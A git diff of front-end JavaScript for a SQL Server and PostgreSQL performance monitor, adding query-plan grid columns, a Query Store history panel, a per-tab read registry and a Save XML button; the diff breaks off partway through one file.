+/**
+ * The Plan cell for a grid row: a button when the row carries a query_hash, and the panel under it while that
+ * query's plan is open. Nothing for a row without a hash.
+ */
+export function storedPlanCell(server, row) {
+  const hash = row && row.query_hash;
+  if (hash == null || hash === "") return planSourceCell(server, null);
+  return planSourceCell(server, { kind: "query_hash", query_hash: hash, database_name: row.database_name || null }, "Plan", "Show the stored plan for this query");
+}
+
+/* A column's key decides whether `hideWhenEmpty` keeps it: the column is dropped when no row has a value at its key
+   (0 and false count as values). Each factory below keys on the field that is present exactly when a button can be
+   drawn, so the column shows when some row has a plan and is hidden when none does, and no two plan columns on one
+   grid share a key. */
+
+/** Active Queries: an "Estimated plan" and a "Live plan" column, each gated on the row's own presence flag (the flags
+ *  arrive only when true, so a row without one gets a dash). */
+export function activePlanColumns(server) {
+  generation += 1;
+  const source = (row, live) => ({
+    kind: "active_snapshot",
+    collection_time: row.collection_time,
+    session_id: row.session_id,
+    request_id: row.request_id == null ? 0 : row.request_id,
+    live,
+  });
+  return [
+    {
+      key: "has_query_plan",
+      label: "Plan",
+      render: (row) =>
+        planSourceCell(server, row && row.has_query_plan === true ? source(row, false) : null, "Plan", "Show the estimated plan captured with this request"),
+      hideWhenEmpty: true,
+      sortable: false,
+      filter: false,
+      csv: false,
+      copy: false,
+    },
+    {
+      key: "has_live_query_plan",
+      label: "Live plan",
+      render: (row) =>
+        planSourceCell(server, row && row.has_live_query_plan === true ? source(row, true) : null, "Live plan", "Show the live plan captured with this request"),
+      hideWhenEmpty: true,
+      sortable: false,
+      filter: false,
+      csv: false,
+      copy: false,
+    },
+  ];
+}
+
+/** Query Store: a plan button keyed by database, query and plan. Keyed on query_id, which every row has, so the
+ *  column always shows; a query with no stored plan answers "No stored plan" in the panel. */
+export function queryStorePlanColumn(server) {
+  generation += 1;
+  return {
+    key: "query_id",
+    label: "Plan",
+    render: (row) =>
+      planSourceCell(
+        server,
+        row && row.database_name != null && row.query_id != null
+          ? { kind: "query_store", database_name: row.database_name, query_id: row.query_id, plan_id: row.plan_id == null ? null : row.plan_id }
+          : null,
+        "Plan",
+        "Show the stored Query Store plan for this query"
+      ),
+    sortable: false,
+    filter: false,
+    csv: false,
+    copy: false,
+  };
+}
+
+/** Top Procedures: a plan button keyed by sql_handle. Hidden when no row has one (the hourly tier carries none). */
+export function procedurePlanColumn(server) {
+  generation += 1;
+  return {
+    key: "sql_handle",
+    label: "Plan",
+    render: (row) =>
+      planSourceCell(server, row && row.sql_handle ? { kind: "procedure", sql_handle: row.sql_handle } : null, "Plan", "Show the stored plan for this procedure"),
+    hideWhenEmpty: true,
+    sortable: false,
+    filter: false,
+    csv: false,
+    copy: false,
+  };
+}
+
+/** Blocking (#5236): a "Blocked plan" and a "Blocking plan" column, each gated on the row's own presence flag. The flags
+ *  arrive only when true (a report keeps a plan only when the statement was still in the plan cache, and a DMV row has
+ *  none), so a row without one gets a dash and a grid with none drops the column. A row also needs the event time and both
+ *  session ids the read keys on; without them there is nothing to read by, so it is a dash too. The row's database_name
+ *  goes along when it has one, so a server that collects several databases reads each row's own. */
+export function blockingPlanColumns(server) {
+  const source = (row, side) => ({
+    kind: "blocking",
+    event_time: row.event_time,
+    blocked_spid: row.blocked_spid,
+    blocked_ecid: row.blocked_ecid == null ? 0 : row.blocked_ecid,
+    blocking_spid: row.blocking_spid,
+    blocking_ecid: row.blocking_ecid == null ? 0 : row.blocking_ecid,
+    database_name: row.database_name || null,
+    side,
+  });
+  const keyed = (row) => row.event_time != null && row.event_time !== "" && row.blocked_spid != null && row.blocking_spid != null;
+  return [
+    {
+      key: "has_blocked_plan",
+      label: "Blocked plan",
+      render: (row) =>
+        planSourceCell(server, row && row.has_blocked_plan === true && keyed(row) ? source(row, "blocked") : null, "Blocked plan", "Show the plan captured for the blocked statement"),
+      hideWhenEmpty: true,
+      sortable: false,
+      filter: false,
+      csv: false,
+      copy: false,
+    },
+    {
+      key: "has_blocking_plan",
+      label: "Blocking plan",
+      render: (row) =>
+        planSourceCell(server, row && row.has_blocking_plan === true && keyed(row) ? source(row, "blocking") : null, "Blocking plan", "Show the plan captured for the blocking statement"),
+      hideWhenEmpty: true,
+      sortable: false,
+      filter: false,
+      csv: false,
+      copy: false,
+    },
+  ];
+}
+
+/** Deadlocks (#5236): a "Victim plan" column gated on the row's presence flag (sent only when true, like the blocking
+ *  flags). The read keys on the row's collection and deadlock times, with the victim's process id and the database_name
+ *  when the row has them; a row missing either time is a dash. */
+export function deadlockPlanColumn(server) {
+  return {
+    key: "has_victim_plan",
+    label: "Victim plan",
+    render: (row) =>
+      planSourceCell(
+        server,
+        row && row.has_victim_plan === true && row.collection_time != null && row.collection_time !== "" && row.deadlock_time != null && row.deadlock_time !== ""
+          ? {
+              kind: "deadlock_victim",
+              collection_time: row.collection_time,
+              deadlock_time: row.deadlock_time,
+              victim_process_id: row.victim_process_id || null,
+              database_name: row.database_name || null,
+            }
+          : null,
+        "Victim plan",
+        "Show the plan captured for the deadlock victim"
+      ),
+    hideWhenEmpty: true,
+    sortable: false,
+    filter: false,
+    csv: false,
+    copy: false,
+  };
+}
+
+/** The grid column every plan-capable grid adds: hidden when no row carries a query_hash. */
+export function planColumn(server) {
+  generation += 1;
+  return {
+    key: "query_hash",
+    label: "Plan",
+    render: (row) => storedPlanCell(server, row),
+    hideWhenEmpty: true,
+    sortable: false,
+    filter: false,
+    csv: false,
+    copy: false,
+  };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js
new file mode 100644
index 0000000000..efb9c71596
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js
@@ -0,0 +1,255 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * #5234: the Query Store grid's History button. A click opens a panel under the row with that query's history, plan by
+ * plan: a per-plan chart of average duration, a per-plan table, and a Plan button on each table row. It is served by
+ * one store-only read (get_query_store_query_history); nothing here reaches the monitored server.
+ *
+ * An open panel is kept at module scope under its grid row's key, so the page's 60 s rebuild draws it again without a
+ * second read. The grid has a row per plan, execution type and replica role of a query, so the key names all of them
+ * and History opens under the row clicked, not under every row of the query. The entry also remembers the window it
+ * was read for (hours and the custom range), and a rebuild under a different window reads it again. Every string is
+ * drawn through el() as text.
+ */
+import { el, readTool, fmtMs, localTime, windowFromHours, activeRangeStamp, windowNoteText } from "../util.js";
+import { zoomableLineChart, chartZoomScope, SERIES_COLORS } from "../charts.js";
+import { planSourceCell } from "./plan-viewer.js";
+import { dockPanelUnderRow, undockPanel } from "../plan-row.js";
+
+/* key -> { phase: "loading" | "done", stamp, window, result: { kind: "data" | "none" | "error", ... } }. `window` is the chart's
+   axis ({ windowStart, windowEnd } or null), taken when the read was made so a redraw later keeps the axis the data was read for. */
+const openHistories = new Map();
+/* key -> Set of redraw functions, one per cell currently showing the key. Each draw carries `draw.host`, the cell it draws
+   into, so redraw() can tell a cell the page threw away (a grid rebuild, a tab switch) from one still on it. */
+const views = new Map();
+/* The grid build a cell belongs to. queryStoreHistoryColumn() runs once per grid build, so each call starts a new generation,
+   and a cell stamps its draw with the generation it registers under. `sweptGeneration` is the last one swept (see
+   dropOlderDetached). */
+let generation = 0;
+let sweptGeneration = 0;
+
+/* One key per grid row: get_query_store_top groups by database, query, plan, execution type and replica role. A part a row
+   does not carry (a standalone server has no replica role) joins as nothing. */
+const keyOf = (server, row) => [server, row.database_name, row.query_id, row.plan_id, row.execution_type_desc, row.replica_role].join("|");
+/* The window a read was made for: the preset hours and the page's custom range, so a changed window reads again. */
+const stampOf = (hours) => hours + "@" + activeRangeStamp();
+
+/* A draw whose cell has left the page is dropped here instead of being drawn into detached DOM: every rebuild renders a
+   fresh cell per row, and the old cell's draw would otherwise stay in the set for as long as the page lives (#5234).
+   Pruning happens at redraw, never at registration, because a cell is not on the page yet while its grid is being
+   built. The key leaves the map once its last cell is gone. */
+const redraw = (key) => {
+  const set = views.get(key);
+  if (!set) return;
+  for (const draw of [...set]) {
+    if (draw.host && draw.host.isConnected === false) set.delete(draw);
+    else draw();
+  }
+  if (set.size === 0) views.delete(key);
+};
+
+/* Runs when the first cell of a generation registers: every draw of an OLDER generation whose cell has left the page goes,
+   under whatever key. redraw() prunes only the key it is called for, and a row nobody clicks (or one that has left the top
+   list) never reaches it, so without this each rebuild would leave a cell per row in the set for the life of the page (#5234).
+   The generation is what makes this safe: the cells of the build in progress are not on the page yet (the grid is attached
+   after its rows are drawn) and are never dropped here, and a cell of an older build that is still on the page stays too. */
+const dropOlderDetached = () => {
+  for (const [key, set] of views) {
+    for (const draw of [...set]) {
+      if (draw.generation < generation && draw.host && draw.host.isConnected === false) set.delete(draw);
+    }
+    if (set.size === 0) views.delete(key);
+  }
+};
+
+/** Forgets every open panel. Tests only; the page never needs it. */
+export function resetQueryStoreHistory() {
+  openHistories.clear();
+  views.clear();
+}
+
+/** The keys of the open panels, for tests. */
+export function openQueryStoreHistoryKeys() {
+  return [...openHistories.keys()];
+}
+
+/** How many cells are registered to redraw for each key, as { key: count }, for tests. */
+export function queryStoreHistoryViewCounts() {
+  return Object.fromEntries([...views].map(([key, set]) => [key, set.size]));
+}
+
+/* The note an empty answer carries under `hints` when the window reaches past what the store holds (#5300), in the page's own
+   clock, or null: an empty answer over a cut window is not a report that the query never ran. */
+const emptyWindowNote = (hints) => (hints && typeof hints === "object" && hints.window_truncated === true ? windowNoteText(hints) : null);
+
+/** Turns a read result into { kind: "data" | "none" | "error", ... }, or null when the read was abandoned. */
+export function classifyHistoryRead(res) {
+  if (!res || res.kind === "aborted" || res.kind === "auth") return null;
+  const text = typeof res.message === "string" ? res.message : "";
+  if (res.kind === "data" && res.data && Array.isArray(res.data.plans)) return { kind: "data", data: res.data };
+  if (res.kind === "error") return { kind: "error", message: text || "The history could not be read." };
+  return { kind: "none", message: text || "No history was found for this query in the window.", note: emptyWindowNote(res.hints) };
+}
+
+async function load(key, server, row, hours, stamp) {
+  let res;
+  try {
+    res = await readTool("get_query_store_query_history", {
+      server,
+      database_name: row.database_name,
+      query_id: row.query_id,
+      hours,
+    });
+  } catch (e) {
+    res = { kind: "error", message: e && e.message ? e.message : String(e) };
+  }
+  const current = openHistories.get(key);
+  if (!current || current.stamp !== stamp) return; // closed, or read again for another window, while the read was out
+  const outcome = classifyHistoryRead(res);
+  if (outcome === null) openHistories.delete(key);
+  else openHistories.set(key, { phase: "done", stamp, window: current.window, result: outcome });
+  redraw(key);
+}
+
+function toggle(server, row, hours) {
+  const key = keyOf(server, row);
+  if (openHistories.has(key)) {
+    openHistories.delete(key);
+    redraw(key);
+    return;
+  }
+  const stamp = stampOf(hours);
+  openHistories.set(key, { phase: "loading", stamp, window: windowFromHours(hours) });
+  redraw(key);
+  return load(key, server, row, hours, stamp);
+}
+
+const cell = (text, cls) => el("td", { class: cls || null, text: text == null ? "—" : String(text) });
+const num = (v, f) => (v == null ? "—" : f(v));
+const whole = (v) => Number(v).toLocaleString("en-US", { maximumFractionDigits: 0 });
+
+/* `scope` is the panel's own key. It keys each Plan button's panel, so a plan opened here is not also open in the grid's Plan
+   column or in the History table under another row of the same query. */
+function planTable(server, data, scope) {
+  const head = ["Plan ID", "Execs", "Avg Duration", "Total Duration", "Avg CPU", "Total CPU", "First seen", "Last seen", "Forced", "Plan"];
+  const rows = data.plans.map((p) =>
+    el("tr", {}, [
+      cell(p.plan_id, "num"),
+      cell(num(p.execution_count, whole), "num"),
+      cell(num(p.avg_duration_ms, fmtMs), "num"),
+      cell(num(p.total_duration_ms, fmtMs), "num"),
+      cell(num(p.avg_cpu_ms, fmtMs), "num"),
+      cell(num(p.total_cpu_ms, fmtMs), "num"),
+      cell(p.first_execution_time == null ? null : localTime(p.first_execution_time)),
+      cell(p.last_execution_time == null ? null : localTime(p.last_execution_time)),
+      cell(p.is_forced_plan ? "Yes" : "No"),
+      el("td", {}, [
+        planSourceCell(
+          server,
+          { kind: "query_store", database_name: data.database_name, query_id: data.query_id, plan_id: p.plan_id, scope },
+          "Plan",
+          "Show the stored plan for plan " + p.plan_id
+        ),
+      ]),
+    ])
+  );
+  return el("table", { class: "data-table qs-history-table" }, [
+    el("thead", {}, [el("tr", {}, head.map((h) => el("th", { text: h })))]),
+    el("tbody", {}, rows),
+  ]);
+}
+
+/* `axis` is the chart's window ({ windowStart, windowEnd }, or null for the data's own extent) as it was when the read was made.
+   Under a preset, windowFromHours() reads the clock, so asking again at each redraw would slide the axis away from the data. */
+/* The chart's id is built from the panel's own key, so two panels of one query (two grid rows) never share a chart's zoom or
+   its hidden series. The chart keeps both under this id and the scope. */
+function chartFor(key, data, hours, axis) {
+  const points = (data.points || []).map((p) => ({ collection_time: p.collection_time, ["p" + p.plan_id]: p.avg_duration_ms }));
+  const series = data.plans.map((p, i) => ({ key: "p" + p.plan_id, label: "Plan " + p.plan_id, color: SERIES_COLORS[i % SERIES_COLORS.length] }));
+  return zoomableLineChart(
+    { points, xKey: "collection_time", series, formatValue: (v) => fmtMs(v), unit: "ms", ...(axis || {}) },
+    "qs-history|" + key,
+    chartZoomScope(hours)
+  );
+}
+
+function panelFor(key, server, hours) {
+  const state = openHistories.get(key);
+  if (state.phase === "loading") return el("div", { class: "plan-panel qs-history" }, [el("div", { class: "strip loading", text: "Loading the query's history..." })]);
+  const r = state.result;
+  if (r.kind !== "data") {
+    const note = r.note ? el("div", { class: "strip notice", text: r.note }) : null;
+    return el("div", { class: "plan-panel qs-history" }, [note, el("div", { class: r.kind === "error" ? "strip error" : "strip empty", text: r.message })]);
+  }
+  const d = r.data;
+  const notice = d.window_truncated
+    ? el("div", {
+        class: "strip notice",
+        text: "Stored history starts at " + localTime(d.effective_start) + ", later than the window asked for, so older runs are not shown.",
+      })
+    : null;
+  const plansCut = d.plans_truncated ? el("div", { class: "strip notice", text: "Only the " + d.plans.length + " plans with the most total duration are listed." }) : null;
+  const cut = d.points_truncated ? el("div", { class: "strip notice", text: "The chart shows the newest " + d.points.length.toLocaleString("en-US") + " snapshots of the window; older ones are not drawn." }) : null;
+  return el("div", { class: "plan-panel qs-history" }, [notice, plansCut, cut, chartFor(key, d, hours, state.window), planTable(server, d, key)]);
+}
+
+/**
+ * The History column for the Query Store grid: a button per row, and the panel under it while that query's history is
+ * open. A row without a database or query id gets a dash. The key is synthetic (no row field carries it), so the
+ * column is never sorted, filtered, exported or copied. The page calls this once per grid build, so each call starts a new
+ * generation of cells for the redraw set.
+ */
+export function queryStoreHistoryColumn(server, hours) {
+  generation += 1;
+  return {
+    key: "query_store_history",
+    label: "History",
+    render: (row) => {
+      if (!row || row.database_name == null || row.query_id == null) return document.createTextNode("—");
+      const key = keyOf(server, row);
+      const host = el("div", { class: "plan-cell" });
+      /* A rebuild under another window (a new preset or range) reads the open panel again. */
+      const open = openHistories.get(key);
+      if (open && open.stamp !== stampOf(hours)) {
+        const stamp = stampOf(hours);
+        openHistories.set(key, { phase: "loading", stamp, window: windowFromHours(hours) });
+        load(key, server, row, hours, stamp);
+      }
+      const draw = () => {
+        while (host.firstChild) host.removeChild(host.firstChild);
+        const isOpen = openHistories.has(key);
+        const button = el("button", {
+          type: "button",
+          class: "grid-tool",
+          text: isOpen ? "Hide history" : "History",
+          "aria-expanded": isOpen ? "true" : "false",
+          title: "Show this query's history, plan by plan",
+        });
+        button.addEventListener("click", () => toggle(server, row, hours));
+        host.appendChild(button);
+        if (isOpen) dockPanelUnderRow(host, panelFor(key, server, hours));
+        else undockPanel(host);
+      };
+      draw.host = host;
+      draw.generation = generation;
+      if (sweptGeneration !== generation) {
+        sweptGeneration = generation;
+        dropOlderDetached();
+      }
+      if (!views.has(key)) views.set(key, new Set());
+      views.get(key).add(draw);
+      draw();
+      return host;
+    },
+    sortable: false,
+    filter: false,
+    csv: false,
+    copy: false,
+  };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tab-reach.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tab-reach.js
new file mode 100644
index 0000000000..2021b0d7dd
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tab-reach.js
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * What each server-page tab reads, for its time-range reach (#5562 review r1 M4, ruling R2; moved out of server-tabs.js in r3).
+ *
+ * `reachReads` names the windowed reads a tab makes (names, never hours): the picker offers the tab the smallest `max_hours` the
+ * catalog gives them. `collector` names the collector whose sample interval the picker shows for the tab. They live here, keyed
+ * by tab id, and not on the tab objects in server-tabs.js, because that file is read as text by the pins that count how often a
+ * tab FETCHES a read (a name in a reach list is not a fetch) and that find a tab's neighbouring fields by position. The registry
+ * applies this table to its tabs once, at load (withTabReach), so a tab still carries `reachReads` and `collector` at run time.
+ * WebServerPageRangeTests holds the lists: every name served, every windowed read a tab makes declared.
+ */
+
+/** The SQL Server registry's tabs, by id. */
+export const SQL_TAB_REACH = {
+  overview: {
+    collector: "cpu_utilization",
+    reachReads: [
+      "get_analysis_findings", "get_blocking_trend", "get_cpu_utilization", "get_deadlock_trend",
+      "get_file_io_trend", "get_memory_trend"
+    ]
+  },
+  waits: {
+    collector: "wait_stats",
+    reachReads: [
+      "get_latch_stats", "get_spinlock_stats", "get_wait_stats", "get_wait_trend", "get_waiting_tasks"
+    ]
+  },
+  cpu: {
+    collector: "cpu_utilization",
+    reachReads: [
+      "get_cpu_utilization", "get_server_trend", "get_top_procedures_by_cpu", "get_top_queries_by_cpu"
+    ]
+  },
+  memory: {
+    collector: "memory_stats",
+    reachReads: [
+      "get_memory_grants", "get_memory_pressure_events", "get_memory_trend", "get_plan_cache_bloat",
+      "get_resource_semaphore", "get_server_trend"
+    ]
+  },
+  blocking: {
+    collector: "blocked_process_report",
+    reachReads: [
+      "get_blocked_process_xml", "get_blocking", "get_blocking_stats", "get_blocking_trend",
+      "get_current_waits_trend", "get_deadlock_detail", "get_deadlock_trend", "get_deadlocks",
+      "get_lock_wait_trend"
+    ]
+  },
+  io: {
+    collector: "file_io_stats",
+    reachReads: [
+      "get_file_io_trend", "get_tempdb_trend"
+    ]
+  },
+  queries: {
+    collector: "query_stats",
+    reachReads: [
+      "get_active_queries", "get_long_query_completions", "get_plan_corrections", "get_procedure_duration_trend",
+      "get_query_duration_trend", "get_query_heatmap", "get_query_store_clutter",
+      "get_query_store_duration_trend", "get_query_store_regressions", "get_query_store_top", "get_query_trend",
+      "get_top_procedures_by_cpu", "get_top_queries_by_cpu"
+    ]
+  },
+  changes: {
+    reachReads: [
+      "get_database_config_changes", "get_server_config_changes", "get_trace_flag_changes"
+    ]
+  },
+  activity: {
+    reachReads: [
+      "get_job_history", "get_perfmon_trend", "get_server_trend"
+    ]
+  },
+  events: {
+    reachReads: [
+      "get_default_trace_events", "get_health_parser_cpu_tasks", "get_health_parser_io_issues",
+      "get_health_parser_memory_broker", "get_health_parser_memory_conditions",
+      "get_health_parser_memory_node_oom", "get_health_parser_scheduler_issues",
+      "get_health_parser_severe_errors", "get_health_parser_significant_waits", "get_health_parser_system_health"
+    ]
+  },
+  health: {
+    reachReads: [
+      "get_collection_log"
+    ]
+  }
+};
+
+/** The PostgreSQL registry's tabs, by id. */
+export const POSTGRES_TAB_REACH = {
+  overview: {
+    reachReads: [
+      "get_analysis_findings", "get_collection_log", "get_pg_autovacuum_health", "get_pg_cpu_utilization",
+      "get_pg_extensions", "get_pg_replication_slots", "get_pg_wraparound_risk", "get_pg_xmin_horizon"
+    ]
+  },
+  activity: {
+    reachReads: [
+      "get_pg_blocking", "get_pg_column_stats", "get_pg_database_stats", "get_pg_database_trend",
+      "get_pg_deadlocks", "get_pg_lock_stats", "get_pg_log_events", "get_pg_plan_capture_readiness",
+      "get_pg_plans", "get_pg_predicate_stats", "get_pg_query_duration_trend", "get_pg_top_queries"
+    ]
+  },
+  vacuum: {
+    reachReads: [
+      "get_pg_autovacuum_health", "get_pg_session_states", "get_pg_wraparound_risk", "get_pg_xmin_horizon"
+    ]
+  },
+  waits: {
+    collector: "pg_wait_sampling",
+    reachReads: [
+      "get_pg_kernel_stats", "get_pg_wait_sampling", "get_pg_wait_stats", "get_pg_wait_trend"
+    ]
+  },
+  io: {
+    collector: "pg_io_stats",
+    reachReads: [
+      "get_pg_buffer_usage", "get_pg_io_stats", "get_pg_io_trend", "get_pg_write_stats"
+    ]
+  },
+  replication: {
+    reachReads: [
+      "get_pg_replication_slots", "get_pg_replication_stats"
+    ]
+  },
+  storage: {
+    reachReads: [
+      "get_pg_index_bloat", "get_pg_index_usage", "get_pg_table_bloat"
+    ]
+  },
+  config: {
+    reachReads: [
+      "get_pg_server_config_changes"
+    ]
+  }
+};
+
+/** Puts each tab's reach declaration on the tab object. A tab with no entry is left as it is (it reads at the common reach). */
+export function withTabReach(tabs, reach) {
+  for (const tab of tabs) {
+    if (reach[tab.id]) Object.assign(tab, reach[tab.id]);
+  }
+  return tabs;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js
index 2040bb36a2..eef030616c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js
@@ -39,10 +39,18 @@
  * touches innerHTML.
  */
 
-import { el, readTool, readToolWithinKeptHistory, keptWindowStrip, mount, truncate, loadingStrip, errorStrip, readErrorStrip, emptyStrip, disclosure, noticeStrip, getPath, fmtMs, fmtRate, localTime, windowFromHours } from "../util.js";
-import { renderPanel, VIZ } from "../panels.js";
-import { renderLineChart, SERIES_COLORS } from "../charts.js";
+import { el, makeActivatable, readTool, readToolWithinKeptHistory, keptWindowStrip, windowFloorStrip, mount, truncate, loadingStrip, errorStrip, readErrorStrip, emptyStrip, disclosure, noticeStrip, getPath, fmtMs, fmtRate, localTime, parseUtc, windowFromHours, daysText, dbScopeChip, dbFilteredEmptyText, sourceStrip, getActiveDatabaseFilter, queryWaitFilter, setQueryWaitFilter, waitIsLinked } from "../util.js";
+import { renderPanel, setPanelSignal, getPanelSignal, VIZ, worstFirst, newestFirst } from "../panels.js";
+import { zoomableLineChart, chartZoomScope, SERIES_COLORS, CATEGORICAL_COLORS } from "../charts.js";
+import { multiPicker, mergeSeriesRows } from "../multi-picker.js";
+import { pgPlanColumn } from "./pg-plan-viewer.js";
 import { READ_FIELDS } from "../read-fields.js";
+import { analysisFindingsTab } from "./analysis-findings.js";
+import { downloadText } from "../grid-tools.js";
+import { deadlockGraphCell, processRowsInDatabases } from "./deadlock-graph.js";
+import { activePlanColumns, blockingPlanColumns, deadlockPlanColumn, planColumn, procedurePlanColumn, queryStorePlanColumn } from "./plan-viewer.js";
+import { queryStoreHistoryColumn } from "./query-store-history.js";
+import { SQL_TAB_REACH, POSTGRES_TAB_REACH, withTabReach } from "./server-tab-reach.js";
 
 /* ─────────────────────────── shared cell renderers ─────────────────────────── */
 
@@ -73,6 +81,36 @@ function xmlDisclosure(text) {
   });
 }
 
+/** "20260105_143007" from an ISO stamp (its UTC digits), for a download's file name; "unknown" when there is none. */
+function fileStamp(iso) {
+  const m = /^(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/.exec(String(iso ?? ""));
+  return m ? m[1] + m[2] + m[3] + "_" + m[4] + m[5] + m[6] : "unknown";
+}
+
+/**
+ * A Save XML button: downloads `text` as `fileName`. The rows already carry the XML, so there is no fetch and nothing in
+ * flight. Disabled, with the reason on hover, when there is no XML or the read cut it short (a saved cut graph would not
+ * open as a graph).
+ */
+function saveXmlButton(text, fileName, mime, truncated) {
+  const none = text == null || text === "";
+  const btn = el("button", { class: "btn small", type: "button", text: "Save XML" });
+  if (none || truncated) {
+    btn.disabled = true;
+    btn.setAttribute("disabled", "");
+    btn.setAttribute("title", none ? "No XML was captured for this row." : "This read sent only a preview of the XML, so it is not saved. Reload with the full graph to save it.");
+    return btn;
+  }
+  btn.addEventListener("click", () => {
+    try {
+      downloadText(fileName, [text], mime);
+    } catch (e) {
+      btn.setAttribute("title", "Save failed: " + (e && e.message ? e.message : "the browser refused the download."));
+    }
+  });
+  return btn;
+}
+
 /**
  * An array-valued cell — a blocking chain's databases, a lock cycle's PIDs. The generic path stringifies an
  * array, which is nearly right for a populated one and renders an EMPTY one as a blank cell rather than as the
@@ -101,10 +139,15 @@ function sentinelDuration(key) {
 /* Two panels chain reads or reshape rows, so they are built by hand rather than declared. Both were already on
    the page before the tabs existed; they keep their behaviour and move into the tab that owns them. */
 
-function panelShell(title, subtitle, span = 2) {
+/* `read` is the panel's main read and `dbScope` its own scope when one read feeds panels of different kinds ("server",
+   "unfiltered" or "process-rows"): together they draw the database-scope chip while the page's database filter is active
+   (#5245, dbScopeChip in util.js). A panel with no read of its own passes none and draws no chip. `control` (#5226) is a node
+   drawn under the title, before the body: the ranking selector of the Top Queries card. */
+function panelShell(title, subtitle, span = 2, read = null, dbScope = null, control = null) {
   const body = el("div", { class: "panel-body" }, [loadingStrip()]);
   const panel = el("div", { class: "panel card" + (span === 2 ? " span-2" : "") }, [
-    el("h3", {}, [title, subtitle ? el("span", { class: "panel-sub", text: " " + subtitle }) : null]),
+    el("h3", {}, [title, subtitle ? el("span", { class: "panel-sub", text: " " + subtitle }) : null, dbScopeChip(read, dbScope)]),
+    control,
     body,
   ]);
   return { panel, body };
@@ -128,19 +171,53 @@ function panelShell(title, subtitle, span = 2) {
  * less history than the page's Range answers for the hours it keeps, every panel it feeds says so through
  * keptWindowStrip, and a line spec is windowed over those hours rather than the Range.
  */
+/* `hideWhenNoRows`: a spec that reports a problem is not drawn at all when its rows are absent, as the desktop viewer
+   collapses its section; an unreadable payload hides it too, since the panels beside it on the same read say so.
+   The shell is built HIDDEN, so a clean server never shows the card or its loading strip while the read runs, and it is
+   revealed only when rows arrive. The 60 s rebuild makes a fresh shell every time, so whether the last answer for this
+   server had rows is kept at module scope: a server that has caveats keeps the card up across a rebuild instead of
+   hiding and re-showing it on every poll. */
+const panelHadRows = new Map();
+function panelMemoryKey(read, params, spec) {
+  return read + "|" + JSON.stringify(params || {}) + "|" + spec.title;
+}
+function hidesPanel(spec, res, shell, key) {
+  if (!spec.hideWhenNoRows) return false;
+  /* A failed read is not "no rows": hiding the card would leave a problem list that could not load looking like a clean server.
+     The card stays (or comes back) and shows the read's error (release walk, W12). */
+  if (res.kind === "error") {
+    shell.panel.style.display = "";
+    return false;
+  }
+  const hasRows = res.kind === "data" && (getPath(res.data, spec.rowsKey) || []).length > 0;
+  panelHadRows.set(key, hasRows);
+  if (hasRows) {
+    shell.panel.style.display = "";
+    return false;
+  }
+  shell.panel.style.display = "none";
+  mount(shell.body, []);
+  return true;
+}
+
 function fanout(read, params, specs) {
   for (const spec of specs) {
     if ((spec.viz === "table" || spec.viz === "line") && !spec.emptyText) {
       throw new Error("fanout(" + spec.title + "): a data panel must explain its own empty state.");
     }
   }
-  const shells = specs.map((s) => panelShell(s.title, s.subtitle, s.span ?? 2));
+  const shells = specs.map((s) => panelShell(s.title, s.subtitle, s.span ?? 2, read, s.dbScope));
+  const keys = specs.map((s) => panelMemoryKey(read, params, s));
+  specs.forEach((s, i) => {
+    if (s.hideWhenNoRows && !panelHadRows.get(keys[i])) shells[i].panel.style.display = "none";
+  });
   (async () => {
     const res = await readToolWithinKeptHistory(read, params);
     specs.forEach((spec, i) => {
       const body = shells[i].body;
+      if (hidesPanel(spec, res, shells[i], keys[i])) return;
       if (res.kind === "error") return mount(body, readErrorStrip(res.message));
-      if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message)]);
+      if (res.kind === "empty") return mount(body, [keptWindowStrip(res), windowFloorStrip(res.data, spec), emptyStrip(res.message)]);
       try {
         /* #2802: a fanout spec carries no `params` of its own (the window lives on the shared fetch above), so
            hand vizLine the fetch's `hours` as `windowHours` — otherwise a fanout line panel (Current Waits,
@@ -152,9 +229,11 @@ function fanout(read, params, specs) {
            all pages of a population - the aggregate one beside a capped row list is exactly the pairing
            where only one of them needs saying so. */
         const note = spec.noteKey ? getPath(res.data, spec.noteKey) : null;
-        const rendered = VIZ[spec.viz](res.data, { ...spec, windowHours: res.keptHours || (params && params.hours) });
+        /* A fanout line chart names its chart-menu "at This Time" item with spec.atTimeItem, as line() does with
+           opts.atTimeItem; Active Queries when it names none. */
+        const rendered = VIZ[spec.viz](res.data, { ...spec, read, windowHours: res.keptHours || (params && params.hours), atTime: spec.atTime === false || !params || !params.server ? null : { server: params.server, item: spec.atTimeItem || "queries" } });
 
-        mount(body, [keptWindowStrip(res), typeof note === "string" && note.trim() ? noticeStrip(note) : null, rendered]);
+        mount(body, [keptWindowStrip(res), windowFloorStrip(res.data, spec), sourceStrip(res.data, spec), typeof note === "string" && note.trim() ? noticeStrip(note) : null, rendered]);
       } catch (e) {
         mount(body, errorStrip("Could not render this panel: " + (e && e.message ? e.message : String(e))));
       }
@@ -163,34 +242,51 @@ function fanout(read, params, specs) {
   return shells.map((s) => s.panel);
 }
 
+/** The most waits the Wait Stats chart draws at once: one read each, and the palette has ten colors. */
+const MAX_WAITS_CHARTED = 10;
+
